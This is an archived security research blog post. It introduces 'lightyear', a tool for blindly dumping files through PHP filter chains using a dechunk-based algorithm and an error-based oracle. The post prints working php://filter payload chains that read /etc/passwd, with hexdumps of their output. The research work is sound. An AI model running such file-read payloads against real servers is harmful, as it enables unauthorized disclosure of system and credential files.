

Introducing lightyear, a new way to dump PHP files

Introducing lightyear, a new way to dump PHP files - Author not stated, blog.lexfo.fr.

- Published: date not stated
- Original: <<https://www.ambionics.io/blog/lightyear-file-dump>>
- Current location: <<https://blog.lexfo.fr/lightyear-file-dump.html>>
- Preserved from: <https://blog.lexfo.fr/lightyear-file-dump.html> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Introduction

PHP filter chains are, in my opinion, an amazing research subject, as they seem to offer an infinite, almost ungraspable number of possibilities to an attacker. Can we use filters to make [an unknown file look like an image](#)? Yes! Can we use them to [add a prefix and suffix to a file](#)? Yes. Can we use them to [dump a file, byte per byte, by leveraging memory exhaustion](#)? Yes as well. They are so numerous that any given problem can be tackled using a completely different algorithm: a given PHP filter problem can have many different solutions.

In 2024, I have spent months working with PHP filters to build [cnext](#), a collection of exploits making use of a buffer overflow in the GLIBC, [CVE-2024-2961](#). Along the way, I got new ideas regarding filters, which I was able to use to create [lightyear](#). This new tool uses a new algorithm **to dump files using an error-based oracle**, making it faster than the already existing implementations. But before we delve into the new, let's look at the previous state of the art, and where it could be improved.

State of the art, and limitations

[php_filter_chains_oracle_exploit](#), by [Remsio](#), allows an attacker to dump the contents of a PHP file using a blind file read primitive by making the engine run out of memory in some cases, resulting in an oracle. This tool is the current state of the art of dumping files, blind, in PHP. I advise you to read [the blogpost](#) describing its inner workings before going further, as it **will not be covered in this article**.

However, although amazing, it bears a few limitations:

- Payloads get big, fast. As a result, if the file read primitive you have is in a GET parameter, you cannot dump more than around 135 characters.
- Some base64 digits can get determined in a few requests, while others require many more. Overall, the process of determining the value of a character is not optimal.
- The character swapping algorithm, that allows the script to put the n th character in front of the base64 string, can produce PHP warnings, which in many modern frameworks result in an error, and thus may make the tool fail.
- Making PHP run out of memory is slow, as it will successively allocate bigger and bigger strings before erroring out.

We'll see that, using a **brand new algorithm**, and a few **other ideas**, all these limitations can **vanish**.

lightyear: to infinity, and beyond!

This new tool is called **lightyear**, because it goes further, faster, and with less. In more practical terms, lightyear...

- can dump files of **tens of thousands** of bytes using **small payloads** (a few thousand characters);
- determines the value of each byte **using dichotomy** (6 requests), which is the most efficient;
- can greatly **speed up request time** by refraining from making PHP run out of memory;
- does not produce any unwanted PHP warnings or errors.

Overall, the impact is that we can **dump files that are bigger by an order of magnitude, and that we can do it faster, and in more situations**.

As an example, I was able to dump the contents of an `/etc/passwd` file of 854 bytes in **less than 30 seconds**, with a payload whose size does not exceed **2000 bytes**. Even better: I was able to dump a file **more than 50 thousand bytes** (!) through GET requests (payloads smaller than 7000 bytes).

The improvements made by the tool can be split in several categories, that we'll see one by one.

Going further

Let's first see how we can dump large files with very small payloads.

Picking a base64 digit

The standard idea behind the **original algorithm** is to convert a file to base64, "select" a digit at position p (i.e. put it in front of the others), and then use an oracle to determine its value.

To "select" a base64 digit, `php_filter_chains_oracle_exploit` uses a combination of charsets to add two characters (using `convert.iconv.UTF16.UTF16`) and swap the position of characters. `convert.iconv.UCS-4LE.UCS-4BE`, for instance, swaps each quartet of 4 characters around, and `convert.iconv.UTF16LE.UTF16BE` swaps two. This technique has two main issues:

- It makes the `php://filter` payload get big, fast (more than 7000 chars to select the 135th base64 digit)

- It might raise warnings, if the size of the base64 string is not aligned properly (for instance, swapping 4 chars on a string of 6 characters produces a warning)

We will see that [the mind behind the initial idea](#), @hash_kitten, was right: instead of bringing some digit to the beginning of the base64 string, we **can** remove the ones that came before instead. And to do so, we'll use the go-to filter for data removal, `dechunk`.

Dechunk approximations

`dechunk` decodes an HTTP chunked encoded string, which consists of a succession of hexadecimal sizes and data chunks, such as:

```
5
ABCDE
3
FGH
0
```

Here, `dechunk` reads the first size `5`, then reads 5 bytes, and then the second size `3`, then 3 bytes, and finally zero, indicating the end of the data. We get: `ABCDEFGH`. Each line ends with a `\n`, represented as `\n` in this example and the next ones.

The beauty about this filter is that it **does not complain much**. First, when it is done parsing a size, it reads until the next newline and discards what comes in between. Then, if the size it has read is invalid, it just returns the rest of the data, instead of telling us we messed up somewhere.

Let's go back to our completely valid chunked document:

```
5
ABCDE
3
FGH
0
```

After each size, one can add a *chunk extension*:

```
5-this is the first chunk extension
ABCDE
3this is the second one!
FGH
0:and the last one!
```

The RFC states that when decoding, *chunk extensions* are to be ignored. Therefore, as we dechunk this payload, we get the same result as before: `ABCDEFGH`. The *extensions*, `-this is the first chunk extension`, `this is the second one!`, and `:and the last one!`, disappear. [The RFC also states](#) that *chunk extensions* should be separated from the chunk size using a `;`, but PHP does not care about that.

With PHP, no separator is required at all: if a character is not valid hexadecimal (`acbdefABCDEF01235789`), it just assumes that this is the start of the *chunk extension*, and every byte between the size and the newline get discarded.

Another interesting fact about `dechunk` can be shown through this example:

```
5
ABCDEF this is way bigger than 5!
16
This has the right size
0
```

Here, the first size of 5 is wrong. It should be `21` (33 in decimal). What happens in such a case? PHP simply gets rid of the size header, and keep everything that comes after. We thus get:

```
ABCDEF this is way bigger than 5!
16
This has the right size
0
```

Like every bug, it can be useful to an attacker. Say that we have a multiline text file:

```
1, This is the first line
2, This is the second!
This is the third line...
And the fourth.
```

If we apply `dechunk` on such a file, PHP parses `1` as the chunk size, `, This is the first line` as the chunk extension, and then tries to read a chunk of 1 byte. This will fail, and therefore everything after the first line will get returned:

```
2, This is the second!
This is the third line...
And the fourth.
```

With a single call to `dechunk`, we removed a whole line! Now, if we dechunk again, we get the same effect: `2` parsed a size, `, This is the second!` as chunk extension, and a final result:

```
This is the third line...
And the fourth.
```

Again, a line has disappeared. But we were lucky here: the lines **started with an hexadecimal digit!** We cannot use `dechunk` directly to remove the third line, as it does not start with one. As a

result, `dechunk` will immediately fail and return the whole data without stripping anything. However, we are able, with PHP filters, to [prepend arbitrary bytes to a string](#). Therefore, we can prepend an hexadecimal digit, such as `C` :

```
CThis is the third line...
And the fourth.
```

And then `dechunk` again:

```
And the fourth.
```

Nice! we can use `dechunk` to remove whole parts of a file. But how can we weaponize this behaviour? We could `dechunk` to jump from line to line, and use the original swap strategy to reach each character in each line. But this would only work with files that are organised in (relatively small) lines... What about JSON files, binary files, *etc.*?

Perfect world set of digits

Most filter chain techniques work on the base64 representation of a file. This limits the byteset to the 64 following digits: `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'`. In a perfect world, it would be very convenient if one of these digits was a **newline** instead, so that we could use our *add-hexdigit-then-dechunk* technique described right above to strip part of the string. In such a world, the B64 digits could be:

`abcdefghijklmnopqrstuvwxyzABCDE GHijklmnopqrstuvwxyz0123456789+/'` (notice that the `F` is now a newline).

Now, using `convert.iconv.X.Y` filters, we can convert base64 digits into other byte values. For instance, when converting the original `a-zA-Z0-9+/'` digits from `ASCII` to the `EDCBIC-uk` character set, we get:

ORIGINAL DIGIT SET

00000000	61 62 63 64 65 66 67 68	69 6a 6b 6c 6d 6e 6f 70	abcdefgh	ijklmnop
00000010	71 72 73 74 75 76 77 78	79 7a 41 42 43 44 45 46	qrstuvwx	yzABCDEF
00000020	47 48 49 4a 4b 4c 4d 4e	4f 50 51 52 53 54 55 56	GHIJKLMN	OPQRSTUVWXYZ
00000030	57 58 59 5a 30 31 32 33	34 35 36 37 38 39 2b 2f	WXYZ0123	456789+/'

NEW DIGIT SET

00000000	81 82 83 84 85 86 87 88	89 91 92 93 94 95 96 97	xxxxxxxx	xxxxxxxx
00000010	98 99 a2 a3 a4 a5 a6 a7	a8 a9 c1 c2 c3 c4 c5 c6	xxxxxxxx	xxxxxxxx
00000020	c7 c8 c9 d1 d2 d3 d4 d5	d6 d7 d8 d9 e2 e3 e4 e5	xxxxxxxx	xxxxxxxx
00000030	e6 e7 e8 e9 f0 f1 f2 f3	f4 f5 f6 f7 f8 f9 4e 61	xxxxxxxx	xxxxxxNa

A new set of digits for base64: `\x81\x82...`

Since every byte in the converted value is different, this is a **valid representation of the base64 encoding**: a new set of digits, where `a` is now `\x81`, `b` is `\x82`, etc.

This yields the question: can we use character set conversions filters to obtain an **alternative set of 64 digits** for the base64 encoding, in which one digit **is a newline**?

To answer this question, I picked every single-byte charset, and for each possible byte (the 256 of them), I built a dictionary that stored the bytes it could be converted to, using which charset conversion. It only took a few minutes to run. Then, I built a script.

The script starts from `\n`, and lists every byte that it can be converted from (its parents). Then, it gets the parents of these parents, the parents of these parents, and so on, until it finds a parent that is a **base64 digit**.

For instance, by converting the charset from `8859_1` to `IBM037`, `\x8e` becomes `\n`. `\x8e` is thus a parent of `\n`. When converting from `IBM1122` to `IBM1026`, `\xcc` becomes `\x8e`. Finally, when converting from `IBM1144` to `HP-roman8`, `C` becomes `\xcc`. At this point, we know that we can convert the character `C` to `\n` using the following filter chain:

```
convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
```

But what about the other base64 digits? The script can then apply the conversion on them to, and make sure that it'd get 64 different bytes:

```
php://filter/
convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=data:,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/'

00000000  61 4a 80 44 98 45 c7 be  b6 72 6b 6c 6d 6e 6f ec  ajxDxE×× ×rklmno×
00000010  78 9f b2 b1 47 6a b5 9c  73 7a 41 c3 0a 83 63 42  xxxxGj×× szA×_×cB
00000020  eb e0 b3 fa 4b 4c 4d 4e  5a 50 bb 65 75 d0 ef 69  xxxxKLMN ZP×eu×xi
00000030  ad a1 ae 67 30 31 32 33  34 35 36 37 38 39 2b 2f  xxxxg0123 456789+/'
```

A new digit set for base64, in which `C` is now a newline

What we get is an alternative **digit set** for the base64 encoding, which we can convert to using filters, and in which the digit that was originally `C` is now a newline. In this new representation, `a` is now `a` (unchanged), `b` is now `J`, `c` is `\x80`, etc., and **crucially, `C` is `\n`**.

The base64 can even be reversed to its original value by inverting the filter chain:

```
php://filter/
convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|convert.iconv.IBM037.8859_1|convert.iconv.IBM1026.IBM1122|convert.iconv.HP-roman8.IBM1144
/resource=data:,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/'
```

```
00000000 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 abcdefgh ijklmnop
00000010 71 72 73 74 75 76 77 78 79 7a 41 42 43 44 45 46 qrstuvw x yzABCDEF
00000020 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 GHIJKLMN OPQRSTUVWXYZ
00000030 57 58 59 5a 30 31 32 33 34 35 36 37 38 39 2b 2f WXYZ0123 456789+/'
```

If we apply the filter chain to the base64 representation of a real file, such as `/etc/passwd`, we now have, along the way, in lieu and place of the `C` digits, newline characters:

```
php://filter/convert.base64-encode
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=/etc/passwd
```

```
00000000 80 6d 39 6a 44 83 ec 34 5a 72 41 36 4d 83 ec 73 xm9jDxx4 ZrA6Mxxs
00000010 4a 32 39 30 5a b6 39 73 4a 32 39 30 5a b6 39 b6 j290Zx9s j290Zx9x
...
000000a0 5a 6e c7 36 4d 7a 6f 7a 5a 6e 4e 35 80 7a 6f 6a ZnX6Mzoz ZnN5XzOj
000000b0 67 eb 69 32 5a b6 39 31 80 33 b3 6a 80 32 fa ec gxi2Zx91 x3xjx2xx
000000c0 4a b6 39 47 4a 32 9c 6a 67 32 6c 47[0a]6e 4e 35 jx9Gj2xj g2lG_nN5 here
000000d0 4a 6d 4d 36 98 83 6f 30 5a 72 ae 31 4e d0 4d 30 jmM6xxo0 Zrx1NXM0
000000e0 5a 6e 4e 35 4a 6d 4d 36 4c 32 fa ec 4a 72 6f 6a ZnN5jmM6 L2xxJroj
...
00000170 4c 32 35 6a 4a eb 39 6e 61 ad 34 4b 4a e0 41 36 L25jjx9n ax4KjxA6
00000180 98 83 6f 33 5a 72 80 36 4a e0 41 36 4c 33 67 be xxo3Zrx6 jxA6L3gx
00000190 80 b6 39 7a 80 eb 39 6a 4a[0a]39 b2 80 eb bb 36 xx9zx9j j_9xxxx6 here
000001a0 4c 33 69 7a 80 b6 39 7a ae 6d 6c 47 4c 32 35 6a L3izxx9z xmlGL25j
000001b0 4a eb 39 6e 61 ad 34 4b 4a ad 42 ec 4a 83 ec 34 jx9nax4K jxBxjxx4
...
000001f0 4a c7 ec 47 67 a1 44 7a 5a 6e c7 36 5a d0 6f 35 jxxGgx Dz ZnX6Zxo5
00000200 5a 6d 35 6c 44 33 4d 36 4c 33 67 be 80 b6 39 7a Zm5lD3M6 L3gxxxx9z
00000210 80 eb 39 6a 4a[0a]39 47 67 a1 44 7a 5a b6 39 31 xx9jj_9G gx DzZx91 here
00000220 80 33 b3 6a 80 32 fa ec 4a b6 39 47 4a 32 9c 6a x3xjx2xx jx9Gj2xj
00000230 67 32 6c 47[0a]6e 69 31 ae 33 41 36 98 83 6f 9c g2lG_ni1 x3A6xxox and here
00000240 4d 83 6f 9c 4d 83 ec 31 44 ad 4e b5 5a b6 39 32 MxoXMx1 DxNXZx92
00000250 ae a1 b3 6a 80 33 c3 6a 4a 32 b5 6a 44 a1 69 72 xxxjx3xj j2xjDxir
...
```

A base64 string converted to the alternative digit set where `C` is a newline

Which such a digit representation, we can use the *add-hexdigit-then-dechunk* technique we described in the previous section!

In the last example, the modified base64 of `/etc/passwd`, the first newline is at offset 205 (0xcd). We would like to call `dechunk` immediately, but this would not work: the **chunk needs to have a size**. This means that we need to add an hexadecimal digit at the beginning of the string (any of `abcdefABCDEF123456789`). [Previous research has shown how to add a digit to a base64 string](#), but this only works if the base64 string is in its original representation! Therefore, we need to add the hexadecimal digit *before* we convert to the new digit set. As a result, we find a base64 digit that has an hexadecimal value in the new digit set.

ORIGINAL DIGIT SET

00000000	61 62 63 64 65 66 67 68	69 6a 6b 6c 6d 6e 6f 70	abcdefgh ijklmnop
00000010	71 72 73 74 75 76 77 78	79 7a 41 42 43 44 45 46	qrstuvwxyz yzABCDEF
00000020	47 48 49 4a 4b 4c 4d 4e	4f 50 51 52 53 54 55 56	GHIJKLMN OPQRSTUV
00000030	57 58 59 5a 30 31 32 33	34 35 36 37 38 39 2b 2f	WXYZ0123 456789+/-

DIGIT SET C

00000000	61 4a 80 44 98 45 c7 be	b6 72 6b 6c 6d 6e 6f ec	a]xDxE×× ×rklmno×
00000010	78 9f b2 b1 47 6a b5 9c	73 7a 41 c3 0a 83 63 42	××××Gj×× szA×_×cB
00000020	eb e0 b3 fa 4b 4c 4d 4e	5a 50 bb 65 75 d0 ef 69	××××KLMN ZP×eu××i
00000030	ad a1 ae 67 30 31 32 33	34 35 36 37 38 39 2b 2f	×××g0123 456789+/-

Original digit set versus digit set C

There are many: `f` in the original digit set becomes `E` in the new one, for instance (`a` would also work, as it becomes `a`, but that would not be a very good example).

Let us add an `f` to the base64 of `/etc/passwd`, and then convert to our new digit set:


```

php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
/resource=/etc/passwd

00000000  45 80 6d 39 6a 44 83 ec  34 5a 72 41 36 4d 83 ec  E×m9jD×× 4ZrA6M××   `E` in front
00000010  73 4a 32 39 30 5a b6 39  73 4a 32 39 30 5a b6 39  sj290Z×9 sj290Z×9
...
000000a0  7a 5a 6e c7 36 4d 7a 6f  7a 5a 6e 4e 35 80 7a 6f  zZn×6Mzo zZnN5×zo
000000b0  6a 67 eb 69 32 5a b6 39  31 80 33 b3 6a 80 32 fa  jg×i2Z×9 1×3×j×2×
000000c0  ec 4a b6 39 47 4a 32 9c  6a 67 32 6c 47[0a]6e 4e  ×j×9Gj2× jg2lG_nN   newline
000000d0  35 4a 6d 4d 36 98 83 6f  30 5a 72 ae 31 4e d0 4d  5jmM6××o 0Zr×1N×M
000000e0  30 5a 6e 4e 35 4a 6d 4d  36 4c 32 fa ec 4a 72 6f  0ZnN5jmM 6L2××jro
...

```

A dechunkable data representation

The `f` has become a `E`. Now, we have a chunk size, `E`, and a *chunk extension*, which consists of every character in between `E` and the newline. The payload is ready to get dechunked:

```

php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|dechunk
/resource=/etc/passwd

00000000  6e 4e 35 4a 6d 4d 36 98  83 6f 30 5a 72 ae 31 4e  nN5jmM6× ×o0Zr×1N
00000010  d0 4d 30 5a 6e 4e 35 4a  6d 4d 36 4c 32 fa ec 4a  ×M0ZnN5j mM6L2××j
00000020  72 6f 6a ae 6d 6c 47 4c  33 4e 35 4a 6d 4d 4b 67  roj×mlGL 3N5jmMKg
...

```

Applying dechunk on the modified base64 digit set

We have removed **206 base64 digits** using only a **few filters** (totalling **229 characters**), truncating the beginning of the file. To compare, if we wanted to do this with the character-swapping technique, it would cost us **7614 characters**.

We can now reverse back to the original base64 digits by inverting the conversions:

```
php://filter/convert.base64-encode
|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode
|convert.iconv.IBM1144.HP-roman8|convert.iconv.IBM1122.IBM1026|convert.iconv.8859_1.IBM037
|dechunk
|convert.iconv.IBM037.8859_1|convert.iconv.IBM1026.IBM1122|convert.iconv.HP-roman8.IBM1144
/resource=/etc/passwd
```

```
00000000  6e 4e 35 62 6d 4d 36 65  44 6f 30 4f 6a 59 31 4e  nN5bmM6e Do0OjY1N
00000010  54 4d 30 4f 6e 4e 35 62  6d 4d 36 4c 32 4a 70 62  TM0OnN5b mM6L2Jpb
00000020  6a 6f 76 59 6d 6c 75 4c  33 4e 35 62 6d 4d 4b 5a  jovYmluL 3N5bmMKZ
00000030  32 46 74 5a 58 4d 36 65  44 6f 31 4f 6a 59 77 4f  2FtZXM6e Do1OjYwO
00000040  6d 64 68 62 57 56 7a 4f  69 39 31 63 33 49 76 5a  mdhbWVzO i91c3lvZ
...
...
```

Applying *dechunk* once and reverting to the original representation

This demonstrates that the *add-hexdigit-then-dechunk* technique **works on base64 representations**.

Digit sets everywhere

Okay, but what happens if the base64 string has no `C`, or only a few of them? We'd not be able to use this technique much, and we'd go back to swapping characters around... Well, it turns out that `C` is not the only digit that has a digit set in which it is a newline. In fact, almost **every digit does!**

For instance, here is digit set `M`:

```
php://filter/
convert.iconv.ISO_5427.ECMA-CYRILLIC|convert.iconv.IBM1144.IBM1026|convert.iconv.8859_1.IBM037
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/
DIGIT SET M
00000000  45 42 46 43 47 9c 48 54  51 52 53 c0 55 56 57 8c  EBFCG×HT QRS×UVW×
00000010  49 cd ce cb cf cc e1 70  dd de 65 62 66 63 67 9e  l×××××p ××ebfcg×
00000020  68 74 71 72 73 aa 0a 76  77 e3 69 ed ee eb ef ec  htqrs×_v wxi×××××
00000030  bf 80 fd fe f0 f1 f2 f3  f4 f5 f6 f7 f8 f9 4e 61  ×××××××× ××××××Na
```

Digit set `M`: A digit set where `M` is a newline

Or digit set `S`:

```

php://filter/
convert.iconv.IBM4971.IBM4909|convert.iconv.IBM1122.IBM1155|convert.iconv.8859_1.IBM037
/resource=data:;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%2B/

DIGIT SET S

00000000 61 eb ef ec bf 80 fd fe fb c0 6b 6c 6d 6e 6f bd axxxxxxxx xxklmno×
00000010 b6 9d da 41 9b b7 b9 ab 79 7a 65 62 66 63 67 9e xxxAxxxx yzebfcgx
00000020 68 74 71 87 4b 4c 4d 4e 5a 50 72 73 0a 75 76 77 htq×KLMN ZPrs_uvw
00000030 c7 69 ee bb 30 31 32 33 34 35 36 37 38 39 2b 2f xix×0123 456789+/

```

Digit set `S`: a digit set where `S` is a newline

If any digit can be converted to a newline, that greatly improves the impact of the technique: we can now jump to (almost) every digit of a base64 string.

Jumping between digits

Let us go through the general idea again.

Say that we have read 3 base64 digits `ABC`, and we want to reach the forth one. We aim to convert to digit set `C` (i.e. the one where `C` is a newline) and dechunk, so that the first three digits disappear. For the dechunk to work, we need to prepend an hex digit, so that it is interpreted as the chunk size. We thus look at the 64 digits of digit set `C`, and pick one that is an hex digit. We find its representation in the original digit set, and add the original digit. We then convert to digit set `C`, and dechunk, thus removing `C` and everything that comes before. We can then use the oracle to dump the fourth character. When we dechunk everything up to a base64 digit, we can say that we *jump* to it.

Now, this only works until we meet a digit for the second time. For instance, say that we have dumped 6 digits, `ABCDEA`. We cannot jump to the second `A` with a single dechunk, as it would only remove the first one. The logical idea would be to jump to the first `A`, then on the second. But it does not need to be this way! We can jump to `C`, and then jump to the second `A`. Or, jump to `E`, and then to the second `A`. Why pick one jump instead of the other? Well, the whole idea is to **minimize the size of the payload!**

Imagine a file whose base64 representation has a lot of `A`s, and not a lot of `B`s. Jumping to an `A` would surely not make us travel a long distance, while jumping to a `B` would! Thus, using jumps to `B`s would be more efficient, provided the size of the filter chain that converts to and from digit set `B` is not too big.

This is what *lightyear* does to reduce payload size: combine jumps to go as far as needed, while keeping the size of the `php://filter` payload as small as possible.

Chunk size: mined territory

We need to be careful while jumping around a base64 string: we might hit a mine.

In my examples, I always suggested that we could add **any** hexadecimal digit before we dechunk. We just expect the resulting chunk size to be **invalid**, and cause the `dechunk` call to just strip the

first line. But what happens if it is **valid**?

```
00000000 37 ec 4a b6 39 47 4a 32 9c 6a 67 32 6c 47[0a]6e 7xJx9GJ2 xjg2lG_n
00000010 4e 80 eb 39 6a 4a[0a]39 47 67 a1 44 7a 5a b6 39 Nxx9jj_9 Ggx DzZx9
... ..
```

Here, we have added the hex digit **7**, without thinking much about it, and are now ready to dechunk, to remove everything up to the first newline at the 15th position. And after we do, something strange happens:

```
00000000 6e 4e 80 eb 39 6a 4a b2 b3 42 65 bb d0 75 c3 7a nNxx9jjx xBexxu xz
00000010 4a 32 67 30 44 32 42 73 67 75 c3 7a 44 eb 42 72 J2g0D2Bs guxzDxBr
... ..
```

The second newline disappeared, along with what came after it. In fact, to our demise, `dechunk` worked properly. It read a size of **7**, stripped the first line, and then read 7 bytes, and saw that the 8th was a newline, which was... perfectly normal. Therefore, it considered that the chunk was done, and it started parsing a new chunk size. And then it saw **9**, and thought it was the size of a new chunk, and continued in its well meaning dechunk madness.

So, picking a **valid chunk size** can **alter the rest of the stream**. We would not care if we were only interested in the first digit after a jump, but to reach a destination, we perform several jumps in a row. Any one of these jumps breaks the base64 string, and we're doomed.

Sure, it just comes down to picking an invalid chunk size, a size that makes us not land on a `\n`. But at the time we pick the size, we may not have visibility on what comes next! Of course, we could set a huge length, by concatenating several hex digits (like `ccccccccc`), making sure that the base64 string ends way before that size is exhausted. But that would not yield small payloads at all!

Therefore, every time we jump into unknown territory, we record the chunk size we used, and determine which byte we need to be careful about. If we refer to the last example, we'd know that since the jump size is 7, and the newline that comes after is at position 15, we need to be careful at position $7+15+1=23$. After we reach this digit (after dumping 23 more digits), we can check whether it has a problematic value. If not, we can keep using this jump. Otherwise, we need to pick another chunk size if we want to jump from the previous digit. In addition, if we cannot find a way to jump to a digit, we rebuild a chain where each chunk size is known to be invalid (and thus not break the stream).

Chunk size: clover field

While we might get unlucky with chunk sizes, we might also very well get lucky.

When converting to a digit set, it might just so happen that the first digit of the base64 string is an hexadecimal digit. If that happens, we do not need to add one ourselves. This saves a bit of space

in the payload, as we can get rid of a few filters. It gets even better if we're also jumping from a digit which has the same value as the one we jump to. In this case, the jump can be done using a single `dechunk` filter. 8 bytes added to the payload, for a jump that can be as big as hundreds of bytes!

Overall performance

The technique is **deceptively efficient**: with payloads of a few thousands bytes, we can jump to digits located tens of thousands of bytes from the start of a file. Combining this with compression (using `zlib.deflate`), this means that the attack can work on **huge files**, even when the file read primitive is reachable **through GET requests**.

In addition, this new algorithm **does not produce any PHP warning**, which could stop the execution of the target script unexpectedly, especially with frameworks, that are very mindful of errors. We'll see in the next section another reason why this is useful.

Going faster

We can reach very remote parts of a file. Can we also improve the time required to dump each base64 digit?

Original idea

The process of leaking the value of some base64 digit is very well explained in [this blog post](#) or [this gist](#), so I won't explain it in details again.

Empty string oracle

To tell if a string is empty or not, [php_filter_chains_oracle_exploit](#) repeatedly applies the `convert.iconv.L1.UCS-4` filter. If the string is not empty, and as the string gets bigger, the filter takes longer and longer to execute, resulting in a **lag of a few seconds**, which ends in a PHP error such as `Allowed memory size of ... bytes exhausted`.

If there is no way to tell OK requests from errored requests, the timeout is very useful. It acts as a **time-based oracle**. However, in most cases, we can see if PHP failed or not just by comparing the two responses. In such cases, the lag is a liability. To eliminate it, we can just **provoke the error differently**, for instance by making some charset conversion fail. There are thousands of ways to do this, but this filter chain does the job:

```
convert.iconv.UTF16.UTF16|convert.quoted-printable-encode|convert.base64-decode
```

If the string is not empty, one of these conversions fails, almost immediately producing a PHP warning. Since we generally send thousands of requests, this time difference **drastically improves the speed** at which we retrieve a file.

Even repartition

To find out the value of the first digit of a base64 string, `php_filter_chains_oracle_exploit` will first try to dechunk the string. If this produces an empty string, and thus does not provoke an error, it knows that the first digit is hexadecimal. From there, it sends another request which will tell it if the digit is within `abcde`. If it is not, it tries to see if it is within `ABCDE`, and so on until it pins down a digit.

In other words, on each test send to the oracle, it splits the set of possible digits in two. However, that splitting is not optimal: to get `e`, you only need 3 requests, while to get another, you might need 10!

It's no secret that the most efficient way to pull this off would be to use a dichotomial process where each test we send to the oracle splits the current set in half, thus reducing the amount of requests required to 6 ($\log_2(64)$).

The problem is that finding filter chains that would allow us to do this, by hand, is **hell**. I cannot imagine **how much time** `@hash_kitten` and `remsio` have conjointly spent to find the one they used in their POC and tool!

Armed with their work and a little bit more time, though, I was able to build a script that does.

Working towards a goal

To understand its logic, let's decompose what we need to do. Given a set of base64 digits, such as `ABCDEFGH`, we want to find a chain of filters that converts **half** of the digits into an **hexadecimal** value, and the rest in any other values. This generally cannot be achieved using a **single** filter, and we cannot afford to randomly bruteforce conversions. We need to think in **steps**. What makes the effect of a filter good, and the other bad? In essence, a **filter that makes some digits look the same** is good: if we had a filter that converted `C`, `D`, `E` and `F` to the same value `X`, and not `A`, `B`, `G`, and `H`, it'd help us work towards our goal.

To get that effect, we rely on two techniques.

Firstly, we make use of the `//TRANSLIT//IGNORE` suffix. When present, this suffix `iconv` replaces characters that cannot be translated from the input charset to the output charset into a dummy character such as `?`. If we have a set of 8 bytes, and 4 cannot be converted, they all become `?`, while the others get another byte value.

Secondly, we try to decompose each byte using filters such as `convert.quoted-printable-encode` or `convert.base64-encode`. Base64 stores 6 bytes per digit. As a result, `\xF0`, `\xF1`, `\xF2` or `\xF3` yield the same first digit, `8`. To go back to our first example, let us see the first base64 digit of each of the `ABCDEFGH` characters:

DIGIT	ABCDEFGH
FIRST DIGIT OF B64	QQQRRRS

Four digits have now been converted to an `R`, getting us closer to our goal.

Perfect split

By implementing such techniques into a script (which is also available on our github), I was able to **perfectly decompose the set**. For instance, applying

IBM1141.IBM4517%2F%2FTRANSLIT%2F%2FIGNORE|convert.iconv.VISCII.MSZ_7795.3%2F%2FTRANSLIT%2F%2FIGNORE splits the initial set of 64 digits in two equal parts of 32 digits:

```
ORIGINAL VALUE  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/  
CONVERTED VALUE  a@@@AaOkImnoOAAAA[[[ozAAoA?AAaO@KLMNOPAAADEEEEoa0123456789+/  
HEXADECIMAL?    x    xx    xxxx    xx x xxx    xxxxxxxx xxxxxxxxxx
```

Using such filter chains, [lightyear](#) can now obtain the value of **each digit** by sending **6 requests** to the target server.

Further, and faster

The tool combines every improvement described before: every time a base64 digit needs to be obtained, it computes the most optimized sequence of jumps to land right before the wanted digit, thus clearing evering in front, and then finds out the digit in a few requests.

Demo

Here is [lightyear](#) dumping `/etc/passwd` from a server.

Improvements

If you have also read about [wrapwrap](#), you are probably thinking that it could also be improved using the new *dechunk* algorithm. And you would be right! Sadly, I do not, at the time of writing, have the time to implement these changes.

[lightyear](#) itself could be improved, by fetching digits concurrently, or better caching the jumps in between digits. It could also be adapted to exploit file read primitives where only a few bytes can be read at once. I might bring myself to implemented these in the upcoming weeks, but nothing is for sure.

Conclusion

Thanks to new ideas, and the improvement of others, I was able to build [lightyear](#), a new tool to attack blind file read primitives in PHP, with greatly **improves time and space constraints**. It solves most limitations of the previous state of the art. However, this tool is merely an improvement of the enormous, extremely qualitative work of other hackers, and I am certain that new discoveries will be made regarding the fascinating subject PHP filters are.